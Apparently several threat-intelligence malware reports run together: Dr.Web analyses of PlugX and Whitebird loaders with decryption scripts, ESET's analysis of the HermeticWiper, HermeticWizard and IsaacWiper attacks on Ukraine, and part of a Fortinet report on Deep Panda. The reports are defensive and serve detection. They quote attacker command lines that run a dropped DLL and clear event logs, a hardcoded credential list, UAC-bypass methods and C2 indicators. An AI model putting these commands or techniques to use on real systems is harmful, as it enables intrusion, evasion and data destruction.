string user_name;
uint32_t major_version;
uint32_t minor_version;
uint32_t build_number;
uint32_t computer_bitness;
string March01;
uint32_t code_page_id;
uint32_t oem_code_page_id;
To encrypt the information collected about the system, the AES128 algorithm is used in CBC
mode.
The key and initialization vector are embedded inside:
The decryption method looks as follows:
from Crypto.Cipher import AES
key = '\x95\x2B\x2D\xBF\x09\xC5\x2F\x80\xB4\xBC\x47\x27\x29\xB3\x28\x09'
iv = '\x63\x5F\x72\x2A\xBB\xE3\xE8\x95\xF8\xF9\x32\x87\x53\x6A\x77\xFB'
enc = ...
decipher = AES.new(key, AES.MODE_CBC, iv)
open('dec', 'wb').write(decipher.decrypt(enc))
The command execution cycle received from the C&C server:
Table of commands compiled from the results of this cycle:
Command ID
Command
0x51
Creating cmd.exe process
0x52
Execution command exit in cmd.exe
0x54
Execute commands in the cmd.exe console;
0x60
Creating the flow that reads, writes, and encrypts files.
Trojan.Loader.891
Added to the Dr.Web virus database: 2021-10-15
Virus description added: 2021-xx-xx
Packer: absent
Compilation date: 2021-09-03 12:04:44
SHA1 hash: 595b5a7f25834df7a4af757a6f1c2838eea09f7b
Description
This trojan is written in C. The program contains several files, and the trojan uses each file
sequentially. The trojan
s main task is to decrypt the shellcode and execute it. The decrypted
shellcode contains BackDoor.Whitebird.30, a module for bypassing UAC and backdoor
configuration.
Operating principle
The trojan folder contains the following files:
 mcupdui.exe 
 the executable file into which the malicious library is loaded using
Hijacking DLL has a valid McAfee signature:
4F638B91E12390598F037E533C0AEA529AD1A371: CN=McAfee, Inc., OU=IIS,
OU=Digital ID Class 3 - Microsoft Software Validation v2,
O=McAfee, Inc., L=Santa Clara, S=California, C=US
 McUiCfg.dll 
 downloader
 mscuicfg.dat 
 encrypted shellcode
 mcupdui.ini 
 configuration of trojan
To move to the main malicious functionality, the trojan modifies the process memory:
The instruction following the malicious library
s download library is modified:
Trojan.Loader.891 finds all the functions it needs by hashes using the PEB (Process Environment
Block) structure.
At the same time, the names of libraries and functions are hashed differently: library names are
hashed as Unicode strings converted to upper case. Function names are hashed as ASCII strings
without changing the case. The resulting two hashes are added together and then compared
with the desired one.
ror = lambda val, r_bits, max_bits: \
((val & (2 ** max_bits - 1)) >> r_bits % max_bits) | \
(val << (max_bits - (r_bits % max_bits)) & (2 ** max_bits - 1))
def hash_lib_whitebird(name: bytes) -> int:
a = name.upper() + b'\x00'
c = 0
for i in range(0, len(a)):
c = (a[i] + ror(c, 13, 32)) & 0xffffffff
# library name is a unicode string
c = (0 + ror(c, 13, 32))
return c
def hash_func_whitebird(name: bytes) -> int:
a = name + b'\x00'
c = 0
for i in range(0, len(a)):
c = (a[i] + ror(c, 13, 32)) & 0xffffffff
return c
Trojan
s main functions are encrypted. When the function is called, it decrypts its code, and when
it exits, it encrypts it back.
Main function:
Trojan.Loader.891 obtains the MAC addresses of all network interfaces on the computer. The
trojan then reads data from the mscuicfg.dat file. If the last 6 bytes are zero, then it writes the
first MAC address from the list into them and encrypts this file with the RC4 algorithm. In this
case, the key is equal to the MAC address written to the file, so the encrypted data is saved to
the file mscuicfg.dat.
After that, in any way, the trojan reads the file again, sorting through each of the received MAC
addresses until it finds the right one. The decryption
s correctness is checked by matching the
last 6 decrypted bytes with the encryption key. Upon successful decryption, the trojan cuts them
off and decrypts the file again using the RC4 algorithm, but takes the string mscuicfg.dat as
the key. The received data is a shellcode with a configuration and a payload.
Shellcode
The shellcode is obfuscated with a lot of JMP instructions and each value is computed with a lot
of SUB, ADD, and XOR operations:
The shellcode
s principle is to decrypt the payload and load it into memory for execution.
The last DWORD of the shellcode contains the OFFSET before the start of the payload.
Encrypted data at this stage:
For decryption, XOR with a dynamic key is used:
k = 0x37
s = bytearray()
for i in range(len(d)):
c = d[i] ^ k
s.append(c)
k = (k + c) & 0xff
The decrypted data contains an MZPE file with signatures replaced:
The decoded module is BackDoor.Whitebird.30. In addition, the module overlay contains an
encrypted configuration and a module for bypassing UAC:
Trojan.Loader.896
Added to the Dr.Web virus database: 2021-11-03
Virus description added: 2021-11-17
Packer: absent
Compilation date: 2020-14-10
SHA1 hash: ff82dcadb969307f93d73bbed1b1f46233da762f
Description
The backdoors downloader, PlugX, is written in C.
Operating principle
After loading from the main module (msrers.exe) using the LoadLibraryW function, the
trojan loads the kernel32.dll library using the LoadLibraryA. Then, it gets the address of
the exported function GetModuleFileNameA:
It then obtains the name of the main module using the previously obtained function
GetModuleFileNameA. It checks if the name contains the substring "ers." (msrers.exe):
From the hash, 0xEF64A41E gets the function VirtualProtect to change the memory
access rights to PAGE_EXECUTE_READWRITE at 0x416362 (msrers.exe):
The following fragment will modify the code at 0x416362 (msrers.exe):
push 0xFFFFFFFF
push 0x100010B0 ; func_addr
Place in the main module to be modified:
Next, a function is called that receives the base kernel32.dll, and the addresses of the
functions by hashes.
Script to get a function by hash:
import pefile
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
max_bits = 32
library_path_list = [...] # absolute path dlls
def get_func_addr(hash):
for i in xrange(len(library_path_list)):
library = library_path_list[i].split('\\')
name_dll = library[len(library) - 1]
pe = pefile.PE(library_path_list[i])
for exp in pe.DIRECTORY_ENTRY_EXPORT.symbols:
func_name = exp.name
hash_name_func = 0
for j in func_name:
hash_name_func = ord(j) + ror(hash_name_func, 0x07,
max_bits)
if (hash_name_func == hash):
print '0x{:08x} -> {} -> {}'.format(hash, name_dll,
exp.name)
return
Received features:
Function name
Hash
VirtualProtect
0xEF64A41E
GetLastError
0x12F461BB
CloseHandle
0xFF0D6657
Function name
Hash
ReadFile
0x130F36B2
VirtualAlloc
0x1EDE5967
GetFileSize
0xAC0A138E
CreateFileA
0x94E43293
lstrcat
0x3E8F97C3
GetModuleFileNameA
0xB4FFAFED
In the following, the below structure is used to call these functions:
struct api_addr {
DWORD
(__stdcall *GetModuleFileNameA)(HMODULE, LPSTR, DWORD);
LPSTR
(__stdcall *lstrcat)(LPSTR, LPCSTR);
HANDLE (__stdcall *CreateFileA)(LPCSTR, DWORD, DWORD,
LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE);
DWORD
(__stdcall *GetFileSize)(HANDLE, LPDWORD);
LPVOID (__stdcall *VirtualAlloc)(LPVOID, SIZE_T, DWORD, DWORD);
BOOL
(__stdcall *ReadFile)(HANDLE, LPVOID, DWORD, LPDWORD,
LPOVERLAPPED);
BOOL
(__stdcall *CloseHandle)(HANDLE);
DWORD
(__stdcall *GetLastError)();
Trojan takes the name dll (TmDbgLog.dll) and adds the ".TSC" extension to it. Next, it
opens the file TmDbgLog.dll.TSC for reading and decrypts its contents, which turns out to be
a shellcode.
After decrypting the shellcode (TmDbgLog.dll), the trojan starts executing it:
The below is how the script for decrypting the shellcode looks like:
enc = bytearray(open('TmDbgLog.dll.TSC', 'rb').read())
dec = bytearray()
for i in xrange(len(enc)):
dec.append(((enc[i] ^ 0xbb) - 1) & 0xff)
open('TmDbgLog.dll.TSC.dec', 'wb').write(dec)
Before decrypting and running the payload, the shellcode assembles the following structure:
struct st_mw {
DWORD magic;
DWORD *shell_base;
DWORD shell_size;
DWORD *enc_payload;
DWORD enc_payload_size;
DWORD *enc_config;
DWORD enc_config_size;
DWORD *payload_entry;
This is what the encrypted config looks like:
The config
s decryption will be done directly in the payload:
import struct
enc = open('enc_cfg', 'rb').read()
key, = struct.unpack('I', enc[0:4])
key1 = key
key2 = key
key3 = key
dec = bytearray()
for i in xrange(len(enc)):
key = (key + (key >> 3) - 0x11111111) & 0xFFFFFFFF
key1 = (key1 + (key1 >> 5) - 0x22222222) & 0xFFFFFFFF
key2 = (key2 + 0x33333333 - (key2 << 7)) & 0xFFFFFFFF
key3 = (key3 + 0x44444444 - (key3 << 9)) & 0xFFFFFFFF
dec.append(ord(enc[i]) ^ (key + key1 + key2 + key3) & 0xFF)
open('dec_cfg', 'wb').write(dec)
And it
ll look like this:
Encrypted payload:
Script to decrypt the payload:
import struct
import ctypes
enc = open('enc_payload', 'rb').read()
key, = struct.unpack('I', enc[0:4])
key1 = key
key2 = key
key3 = key
dec = bytearray()
for i in xrange(len(enc)):
key = (key + (key >> 3) + 0x55555556) & 0xFFFFFFFF
key1 = (key1 + (key1 >> 5) + 0x44444445) & 0xFFFFFFFF
key2 = (key2 + 0xCCCCCCCC - (key2 << 7)) & 0xFFFFFFFF
key3 = (key3 + 0xDDDDDDDD - (key3 << 9)) & 0xFFFFFFFF
dec.append(ord(enc[i]) ^ (key + key1 + key2 + key3) & 0xFF)
d = bytes(dec)
uncompress_size, = struct.unpack('I', d[8:12])
buf_decompressed = ctypes.create_string_buffer(uncompress_size)
final_size = ctypes.c_ulong(0)
ctypes.windll.ntdll.RtlDecompressBuffer(2, buf_decompressed,
ctypes.sizeof(buf_decompressed), ctypes.c_char_p(d[0x10:]), len(d),
ctypes.byref(final_size))
open('dec_payload', 'wb').write(buf_decompressed)
After decrypting the payload, the shellcode transfers control to the trojan, with the previously
assembled structure st_mw acting as one of the parameters:
Further, the trojan works in the same way as the backdoor BackDoor.PlugX.28.
Trojan.Uacbypass.21
Added to the Dr.Web virus database: 2021-10-22
Virus description added: 2021-10-22
Packer: absent
Compilation date: 2019-09-29
SHA1 hash: 7412b13e27433db64b610f40232eb4f0bf2c8487
Description
This trojan is written in C. It elevates backdoor privileges. It also disguises itself as a legitimate
process and uses a COM object to bypass User Account Control (UAC). In this way, it elevates
the executable process
s privileges.
Operating principle
The trojan disguises as a legitimate process C:\Windows\explorer.exe via PEB (Process
Environment Block). That
s how it fools the IFileOperation COM object into thinking it
being called from a Windows Explorer shell.
The trojan obtains a COM object to implement UAC bypass via privilege elevation
(https://github.com/cnsimo/BypassUAC/blob/master/BypassUAC_Dll/dllmain
.cpp):
It allows Trojan.Uacbypass.21 to run the file that was passed to it as an argument as a legitimate
Windows process:
Appendix. Indicators of Compromise
SHA1 hashes
Trojan.Loader.889
f783fc5d3fc3f923c2b99ef3a15a38a015e2735a: McUiCfg.dll
Trojan.Loader.890
65f64cc7aaff29d4e62520afa83b621465a79823: SRVCON.OCX
8b9e60735344f91146627213bd13c967c975a783: CLNTCON.OCX
84d5f015d8b095d24738e45d2e541989e6221786: sti.dll
3d8a3fcfa2584c8b598836efb08e0c749d4c4aab: iviewers.dll
Trojan.Loader.891
595b5a7f25834df7a4af757a6f1c2838eea09f7b: McUiCfg.dll
Trojan.Loader.893
46e999d88b76cae484455e568c2d39ad7c99e79f: McUiCfg.dll
Trojan.Loader.894
b1041acbe71d46891381f3834c387049cbbb0806: iviewers.dll
Trojan.Loader.895
635e3cf8fc165a3595bb9e25030875f94affe40f: McUiCfg.dll
Trojan.Loader.896
ff82dcadb969307f93d73bbed1b1f46233da762f: TmDbgLog.dll
Trojan.Loader.898
429357f91dfa514380f06ca014d3801e3175894d: CLNTCON.OCX
Trojan.Loader.899
cc5bce8c91331f198bb080d364aed1d3301bfb0c: LDVPTASK.OCX
BackDoor.PlugX.93
a8bff99e1ea76d3de660ffdbd78ad04f81a8c659: CLNTCON.OCX
BackDoor.PlugX.94
5a171b55b644188d81218d3f469cf0500f966bac
BackDoor.PlugX.95
b3ecb0ac5bebc87a3e31adc82fb6b8cc4fb66d63: netcfg.dll
BackDoor.PlugX.96
a3347d3dc5e7c3502d3832ce3a7dd0fc72e6ea49
BackDoor.PlugX.97
36624dc9cd88540c67826d10b34bf09f46809da7
BackDoor.PlugX.100
16728655e5e91a46b16c3fe126d4d18054a570a1
BackDoor.Whitebird.30
abfd737b14413a7c6a21c8757aeb6e151701626a
a5829ed81f59bebf35ffde10928c4bc54cadc93b
Trojan.Siggen12.35113
4f0ea31a363cfe0d2bbb4a0b4c5d558a87d8683e: rapi.dll
Trojan.Uacbypass.21
20ad53e4bc4826dadb0da7d6fb86dd38f1d13255
Program.RemoteAdmin.877
23873bf2670cf64c2440058130548d4e4da412dd: AkavMiqo.exe
Tool.Frp
a6e9f5d8295d67ff0a5608bb45b8ba45a671d84c: firefox.exe
39c5459c920e7c0a325e053116713bfd8bc5ddaf: firefox.exe
Network indicators
Domains
webmail.surfanny.com
www.sultris.com
mail.sultris.com
pop3.wordmoss.com
zmail.wordmoss.com
youtubemail.club
clark.l8t.net
blog.globnewsline.com
mail.globnewsline.com
45.144.242.216
45.147.228.131
46.105.227.110
5.183.178.181
5.188.228.53
103.30.17.44
103.93.252.150
103.230.15.41
103.251.94.93
104.233.163.136
159.65.157.100
180.149.241.88
185.105.1.226
192.236.177.250
209.250.241.35
IsaacWiper and HermeticWizard: New wiper and worm targeting Ukraine
welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine
March 1, 2022
As the recent hostilities started between Russia and Ukraine, ESET researchers discovered several malware families targeting Ukrainian
organizations.
On February 23rd, 2022, a destructive campaign using HermeticWiper targeted multiple Ukrainian organizations.
This cyberattack preceded, by a few hours, the start of the invasion of Ukraine by Russian Federation forces
Initial access vectors varied from one organization to another. We confirmed one case of the wiper being dropped by GPO, and uncovered
a worm used to spread the wiper in another compromised network.
Malware artifacts suggest that the attacks had been planned for several months.
On February 24th, 2022, a second destructive attack against a Ukrainian governmental network started, using a wiper we have named
IsaacWiper.
ESET Research has not yet been able to attribute these attacks to a known threat actor.
Destructive attacks in Ukraine
As stated in this ESETResearch tweet and WLS blogpost, we uncovered a destructive attack against computers in Ukraine that started around
14:52 on February 23rd, 2022 UTC. This followed distributed denial-of-service (DDoS) attacks against major Ukrainian websites and
preceded the Russian military invasion by a few hours.
These destructive attacks leveraged at least three components:
HermeticWiper: makes a system inoperable by corrupting its data
HermeticWizard: spreads HermeticWiper across a local network via WMI and SMB
HermeticRansom: ransomware written in Go
HermeticWiper was observed on hundreds of systems in at least five Ukrainian organizations.
On February 24th, 2022, we detected yet another new wiper in a Ukrainian governmental network. We named it IsaacWiper and we are
currently assessing its links, if any, with HermeticWiper. It is important to note that it was seen in an organization that was not affected by
HermeticWiper.
Attribution
At this point, we have not found any tangible connection with a known threat actor. HermeticWiper, HermeticWizard, and HermeticRansom
do not share any significant code similarity with other samples in the ESET malware collection. IsaacWiper is still unattributed as well.
Timeline
HermeticWiper and HermeticWizard are signed by a code-signing certificate (shown in Figure 1) assigned to Hermetica Digital Ltd issued on
April 13th, 2021. We requested the issuing CA (DigiCert) to revoke the certificate, which it did on February 24th, 2022.
Figure 1. Code-signing certificate assigned to Hermetic Digital Ltd
According to a report by Reuters, it seems that this certificate was not stolen from Hermetica Digital. It is likely that instead the attackers
impersonated the Cypriot company in order to get this certificate from DigiCert.
ESET researchers assess with high confidence that the affected organizations were compromised well in advance of the wiper
s deployment.
This is based on several facts:
HermeticWiper PE compilation timestamps, the oldest being December 28th, 2021
The code-signing certificate issue date of April 13th, 2021
Deployment of HermeticWiper through GPO in at least one instance suggests the attackers had prior access to one of that victim
s Active
Directory servers
The events are summarized in the timeline in Figure 2.
Figure 2. Timeline of important events
Initial access
HermeticWiper
The initial access vector is currently unknown but we have observed artifacts of lateral movement inside the targeted organizations. In one
entity, the wiper was deployed through the default domain policy (GPO), as shown by its path on the system:
C:\Windows\system32\GroupPolicy\DataStore\0\sysvol\<redacted>\Policies\{31B2F340-016D-11D2-945F00C04FB984F9}\Machine\cc.exe
This indicates that attackers likely took control of the Active Directory server.
In other instances, it is possible that Impacket was used to deploy HermeticWiper. A Symantec blogpost states that the wiper was deployed
using the following command line:
cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE\temp\sys.tmp1 CSIDL_WINDOWS\policydefinitions\postgresql.exe 1>
\\127.0.0.1\ADMIN$\__1636727589.6007507 2>&1
The last part is the same as the default behavior in Impacket
s wmiexec.py, found on GitHub.
Finally, a custom worm that we have named HermeticWizard was used to spread HermeticWiper across the compromised networks via SMB
and WMI.
IsaacWiper
The initial access vector is also currently unknown. It is likely that attackers used tools such as Impacket to move laterally. On a few machines,
we have also observed RemCom, a remote access tool, being deployed at the same time as IsaacWiper.
Technical analysis
HermeticWiper
HermeticWiper is a Windows executable with four drivers embedded in its resources. They are legitimate drivers from the EaseUS Partition
Master software signed by CHENGDU YIWO Tech Development Co., and they implement low-level disk operations. The following files were
observed:
0E84AFF18D42FC691CB1104018F44403C325AD21: x64 driver
379FF9236F0F72963920232F4A0782911A6BD7F7: x86 driver
87BD9404A68035F8D70804A5159A37D1EB0A3568: x64 XP driver
B33DD3EE12F9E6C150C964EA21147BF6B7F7AFA9: x86 XP driver
Depending on the operating system version, one of those four drivers is chosen and dropped in C:\Windows\System32\drivers\<4 random
letters>.sys. It is then loaded by creating a service.
HermeticWiper then proceeds by disabling the Volume Shadow Copy Service (VSS) and wipes itself from disk by overwriting its own file with
random bytes. This anti-forensic measure is likely intended to prevent the analysis of the wiper in a post-incident analysis.
It is interesting to note that most of the file operations are performed at a low level using DeviceIoControl calls.
The following locations are overwritten with random bytes generated by the Windows API function CryptGenRandom:
The master boot record (MBR)
The master file table (MFT)
$Bitmap and $LogFile on all drives
The files containing the registry keys (NTUSER*)
C:\Windows\System32\winevt\Logs
In addition, it also recursively wipes folders and files in Windows, Program Files, Program Files(x86), PerfLogs, Boot, System Volume
Information, and AppData folders, using a FSCTL_MOVE_FILE operation. This technique appears to be quite unusual and very similar to
what is implemented in the Windows Wipe project on GitHub (see the wipe_extent_by_defrag function). It also wipes symbolic links and big
files in My Documents and Desktop folders by overwriting them with random bytes.
Finally, the machine is restarted. However, it will fail to boot, because the MBR, the MFT, and most files were wiped. We believe it is not
possible to recover the impacted machines.
HermeticWizard
Looking for other samples signed by the same code-signing certificate (Hermetica Digital Ltd), we found a new malware family that we named
HermeticWizard.
It is a worm that was deployed on a system in Ukraine at 14:52:49 on February 23rd, 2022 UTC. It is a DLL file developed in C++ that exports
the functions DllInstall, DllRegisterServer, and DllUnregisterServer. Its export DLL name is Wizard.dll. It contains three resources, which are
encrypted PE files:
A sample of HermeticWiper (912342F1C840A42F6B74132F8A7C4FFE7D40FB77)
exec_32.dll, responsible for spreading to other local computers via WMI (6B5958BFABFE7C731193ADB96880B225C8505B73)
romance.dll, responsible for spreading to other local computers via SMB (AC5B6F16FC5115F0E2327A589246BA00B41439C2)
The resources are encrypted with a reverse XOR loop. Each block of four bytes is XORed with the previous block. Finally, the first block is
XORed with a hardcoded value, 0x4A29B1A3.
HermeticWizard is started using the command line regsvr32.exe /s /i <path>.
First, HermeticWizard tries to find other machines on the local network. It gathers known local IP addresses using the following Windows
functions:
DNSGetCacheDataTable
GetIpNetTable
WNetOpenEnumW(RESOURCE_GLOBALNET, RESOURCETYPE_ANY)
NetServerEnum
GetTcpTable
GetAdaptersAddresses
It then tries to connect to those IP addresses (and only if they are local IP addresses) to see if they are still reachable. In case the -s argument
was provided when HermeticWizard was started (regsvr32.exe /s /i:-s <path>), it also scans the full /24 range. So, if 192.168.1.5 was found in,
for example, the DNS cache, it incrementally scans from 192.168.1.1 to 192.168.1.254. For each IP address, it tries to open a TCP connection on
the following ports:
20: ftp
21: ftp
22: ssh
80: http
135: rpc
137: netbios
139: smb
443: https
445: smb
The ports are scanned in a random order so it
s not possible to fingerprint HermeticWizard traffic that way.
When it has found a reachable machine, it drops the WMI spreader (detailed below) on disk and creates a new process with the command line
rundll32 <current folder>\<6 random letters>.ocx #1 -s <path to HermeticWizard> 
 i <target IP>.
It does the same with the SMB spreader (detailed below) that is also dropped in <current folder>\<6 random letters>.ocx, but with different
random letters.
Finally, it drops HermeticWiper in <current folder>\<6 random letters>.ocx and executes it.
WMI spreader
The WMI spreader, named by its developers exec_32.dll, takes two arguments:
-i: The target IP address
-s: The file to copy and execute on the target machine
First, it creates a connection to the remote ADMIN$ share of the target using WNetAddConnection2W. The file provided in the -s argument is
then copied using CopyFileW. The remote file has a random name generated with CoCreateGUID (e.g., cB9F06408D8D2.dll) and the string
format c%02X%02X%02X%02X%02X%02X.
Second, it tries to execute the copied file, HermeticWizard, on the remote machine using DCOM. It calls CoCreateInstance with
CLSID_WbemLocator as argument. It then uses WMI Win32_Process to create a new process on the remote machine, with the command line
C:\windows\system32\cmd.exe /c start C:\windows\system32\\regsvr32.exe /s /i C:\windows\<filename>.dll.
Note that the -s argument is not passed to HermeticWizard, meaning that it won
t scan the local network again from this newly compromised
machine.
If the WMI technique fails, it tries to create a service using OpenRemoteServiceManager with the same command as above.
If it succeeds in executing the remote DLL in any way, it sleeps until it can delete the remote file.
SMB spreader
The SMB spreader, named by its developers romance.dll, takes the same two arguments as the WMI spreader. Its internal name is likely a
reference to the EternalRomance exploit, even if it does not use any exploit.
First it attempts to connect to the following pipes on the remote SMB share (on port 445):
samr
browser
netlogon
lsarpc
ntsvcs
svcctl
These are pipes known to be used in lateral movement. The spreader has a list of hardcoded credentials that are used in attempts to
authenticate via NTLMSSP to the SMB shares:
 usernames 
guest
test
admin
user
root
administrator
manager
operator
 passwords 
Qaz123
Qwerty123
This list of credentials is surprisingly short and is unlikely to work in even the most poorly protected networks.
If the connection is successful, it attempts to drop, to the target ADMIN$ share, the file referenced by the -s argument. As for the WMI
spreader, the remote filename is generated by a call to CoCreateInstance.
It then executes, via SMB, the command line
cmd /c start regsvr32 /s /i ..\\<filename> & start cmd /c \
ping localhost -n 7 & wevtutil cl System\
HermeticRansom
ESET researchers also observed HermeticRansom 
 ransomware written in Go 
 being used in Ukraine at the same time as the HermeticWiper
campaign. HermeticRansom was first reported in the early hours of February 24th, 2022 UTC, in a tweet from AVAST. Our telemetry shows a
much smaller deployment compared to HermeticWiper. This ransomware was deployed at the same time as HermeticWiper, potentially in
order to hide the wiper
s actions. On one machine, the following timeline was observed:
2022-02-23 17:49:55 UTC: HermeticWiper in C:\Windows\Temp\cc.exe deployed
2022-02-23 18:06:57 UTC: HermeticRansom in C:\Windows\Temp\cc2.exe deployed by the netsvcs service
2022-02-23 18:26:07 UTC: Second HermeticWiper in C:\Users\com.exe deployed
On one occasion, we observed HermeticRansom being deployed through GPO, just like HermeticWiper:
C:\WINDOWS\system32\GroupPolicy\DataStore\0\sysvol\<redacted>\Policies\{31B2F340-016D-11D2-945F00C04FB984F9}\Machine\cpin.exe
A few strings were left in the binary by the attackers; they reference US President Biden and the White House:
_/C_/projects/403forBiden/wHiteHousE.baggageGatherings
_/C_/projects/403forBiden/wHiteHousE.lookUp
_/C_/projects/403forBiden/wHiteHousE.primaryElectionProcess
_/C_/projects/403forBiden/wHiteHousE.GoodOffice1
Once files are encrypted, the message in Figure 3 is displayed to the victim.
Figure 3. HermeticRansom
s ransom note
IsaacWiper
IsaacWiper is found in either a Windows DLL or EXE with no Authenticode signature; it appeared in our telemetry on February 24th, 2022. As
mentioned earlier, the oldest PE compilation timestamp we have found is October 19th, 2021, meaning that if its PE compilation timestamp
was not tampered with, IsaacWiper might have been used in previous operations months earlier.
For DLL samples, the name in the PE export directory is Cleaner.dll and it has a single export _Start@4.
We have observed IsaacWiper in %programdata% and C:\Windows\System32 under the following filenames:
clean.exe
cl.exe
cl64.dll
cld.dll
cll.dll
It has no code similarity with HermeticWiper and is way less sophisticated. Given the timeline, it is possible that both are related but we
haven
t found any strong connection yet.
IsaacWiper starts by enumerating the physical drives and calls DeviceIoControl with the IOCTL IOCTL_STORAGE_GET_DEVICE_NUMBER
to get their device numbers. It then wipes the first 0x10000 bytes of each disk using the ISAAC pseudorandom generator. The generator is
seeded using the GetTickCount value.
It then enumerates the logical drives and recursively wipes every file of each disk with random bytes also generated by the ISAAC PRNG. It is
interesting to note that it recursively wipes the files in a single thread, meaning that it would take a long time to wipe a large disk.
On February 25th, 2022, attackers dropped a new version of IsaacWiper with debug logs. This may indicate that the attackers were unable to
wipe some of the targeted machines and added log messages to understand what was happening. The logs are stored in
C:\ProgramData\log.txt and some of the log messages are:
getting drives
start erasing physical drives
 start erasing logical drive
start erasing system physical drive
system physical drive 
 FAILED
start erasing system logical drive
Conclusion
This report details a destructive cyberattack that impacted Ukrainian organizations on February 23rd, 2022, and a second attack that affected a
different Ukrainian organization from February 24th through 26th, 2022. At this point, we have no indication that other countries were
targeted.
However, due to the current crisis in Ukraine, there is still a risk that the same threat actors will launch further campaigns against countries
that back the Ukrainian government or that sanction Russian entities.
IoCs
SHA-1
Filename
ESET detection name
Description
912342F1C840A42F6B74132F8A7C4FFE7D40FB77
com.exe
Win32/KillDisk.NCV
HermeticWip
61B25D11392172E587D8DA3045812A66C3385451
conhosts.exe
Win32/KillDisk.NCV
HermeticWip
3C54C9A49A8DDCA02189FE15FEA52FE24F41A86F
c9EEAF78C9A12.dat
Win32/GenCBL.BSP
HermeticWiz
F32D791EC9E6385A91B45942C230F52AFF1626DF
cc2.exe
WinGo/Filecoder.BK
HermeticRan
AD602039C6F0237D4A997D5640E92CE5E2B3BBA3
cl64.dll
Win32/KillMBR.NHP
IsaacWiper
736A4CFAD1ED83A6A0B75B0474D5E01A3A36F950
cld.dll
Win32/KillMBR.NHQ
IsaacWiper
E9B96E9B86FAD28D950CA428879168E0894D854F
clean.exe
Win32/KillMBR.NHP
IsaacWiper
23873BF2670CF64C2440058130548D4E4DA412DD
XqoYMlBX.exe
Win32/RiskWare.RemoteAdmin.RemoteExec.AC
Legitimate
RemCom rem
access tool
MITRE ATT&CK techniques
This table was built using version 10 of the MITRE ATT&CK framework.
Tactic
Name
Description
Resource
Development
T1588.002
Obtain Capabilities: Tool
Attackers used RemCom and potentially Impacket as part of their
campaign.
T1588.003
Obtain Capabilities: Code Signing
Certificates
Attackers acquired a code-signing certificate for their campaigns.
T1078.002
Valid Accounts: Domain Accounts
Attackers were able to deploy wiper malware through GPO.
Initial Access
Tactic
Name
Description
Execution
T1059.003
Command and Scripting
Interpreter: Windows Command
Shell
Attackers used the command line during their attack (e.g., possible
Impacket usage).
T1106
Native API
Attackers used native APIs in their malware.
T1569.002
System Services: Service
Execution
HermeticWiper uses a driver, loaded as a service, to corrupt data.
T1047
Windows Management
Instrumentation
HermeticWizard attempts to spread to local computers using WMI.
Discovery
T1018
Remote System Discovery
HermeticWizard scans local IP ranges to find local machines.
Lateral
Movement
T1021.002
Remote Services: SMB/Windows
Admin Shares
HermeticWizard attempts to spread to local computers using SMB.
T1021.003
Remote Services: Distributed
Component Object Model
HermeticWizard attempts to spread to local computers using WbemLocator
to remotely start a new process via WMI.
T1561.002
Disk Wipe: Disk Structure Wipe
HermeticWiper corrupts data in the system
s MBR and MFT.
T1561.001
Disk Wipe: Disk Content Wipe
HermeticWiper corrupts files in Windows, Program Files, Program
Files(x86), PerfLogs, Boot, System Volume Information, and AppData.
T1485
Data Destruction
HermeticWiper corrupts user data found on the system.
T1499.002
Endpoint Denial of Service:
Service Exhaustion Flood
By using DDoS attacks, the attackers made a number of government
websites unvailable.
Impact
1 Mar 2022 - 02:00PM
Newsletter
New Milestones for Deep Panda: Log4Shell and Digitally Signed
Fire Chili Rootkits
fortinet.com/blog/threat-research/deep-panda-log4shell-fire-chili-rootkits
March 30, 2022
FortiGuard Labs Research
Affected Platforms: Windows
Impacted Users: Windows Users
Impact: Collects sensitive information from victim machines
Severity Level: Critical
During the past month, FortiEDR detected a campaign by Deep Panda, a Chinese APT group. The group
exploited the infamous Log4Shell vulnerability in VMware Horizon servers. The nature of targeting was
opportunistic insofar that multiple infections in several countries and various sectors occurred on the
same dates. The victims belong to the financial, academic, cosmetics, and travel industries.
Following exploitation, Deep Panda deployed a backdoor on the infected machines. Following forensic
leads from the backdoor led us to discover a novel kernel rootkit signed with a stolen digital certificate.
We found that the same certificate was also used by another Chinese APT group, named Winnti, to sign
some of their tools.
In this blog, we share our analysis of the flow of infection, the backdoor, and new rootkit, along with our
attribution of this campaign to these Chinese nation-state threat actors.
Chain of Attack
While examining customer alerts and telemetry, we noticed several infiltrations into victim networks that
were achieved via a Log4Shell exploitation of vulnerable VMware Horizon servers. These attacks
spawned a new PowerShell process to download and execute a chain of scripts that ended with the
installation of a malicious DLL.
1/16
Figure 1: Flow of events from Log4Shell exploitation to execution of the final payload
The encoded PowerShell command downloads another PowerShell script from a remote server and
executes it.
Figure 2: The decoded PowerShell command
The next stage PowerShell script downloads three additional files from the same server: 1.bat, syn.exe
and 1.dll.
2/16
Figure 3: Content of the p.txt PowerShell script downloaded from the server
The script then executes 1.bat, which in turn executes syn.exe and proceeds to delete all three files from
the disk.
Figure 4: Content of 1.bat script downloaded from the server
syn.exe is a program that loads its first command-line argument using LoadLibrary, in this case, 1.dll.
The 1.dll module is the final payload, a backdoor that we have dubbed Milestone. Its code is based on the
leaked source code of Gh0st RAT/Netbot Attacker and is packed with Themida.
The backdoor copies itself to %APPDATA%\newdev.dll and creates a service named msupdate2 by
creating the service entry directly in the registry. Several other service names and descriptions have been
observed among different samples.
Figure 5: 
msupdate2
 service registered by Milestone
While it has the same name as the legitimate Microsoft newdev.dll, it has only two of the real
newdev.dll's exports plus an additional ServiceMain export.
Figure 6: Exports of the malicious Milestone
3/16
Overall, the backdoor has capabilities similar to Gh0st RAT
s, with notable differences. Its C2
communication is uncompressed, unlike Gh0st RAT communication which is zlib-compressed. There are
differences in commands as well. For example, in the CMD command, some variants first copy cmd.exe
to dllhost.exe to avoid detection by security products that monitor CMD executions. Additionally, the
backdoor supports a command that sends information about the current sessions on the system to the
server. This command does not exist in the original Gh0st RAT source code.
Among the many backdoor samples we hunted down, there are two distinguishable versions: binaries
compiled in 2016 contain the version string MileStone2016, while those compiled in 2017 contain
MileStone2017. The samples used in the recent infections we detected are only the 2017 variants.
There are several differences between the 2016 and 2017 Milestones. First, 2017 Milestones are typically
packed with Themida, while 2016 ones are unpacked. Secondly, although 2016 Milestones have plausible
timestamps, all 2017 Milestones share an identical timestamp, which leads us to believe they are forged.
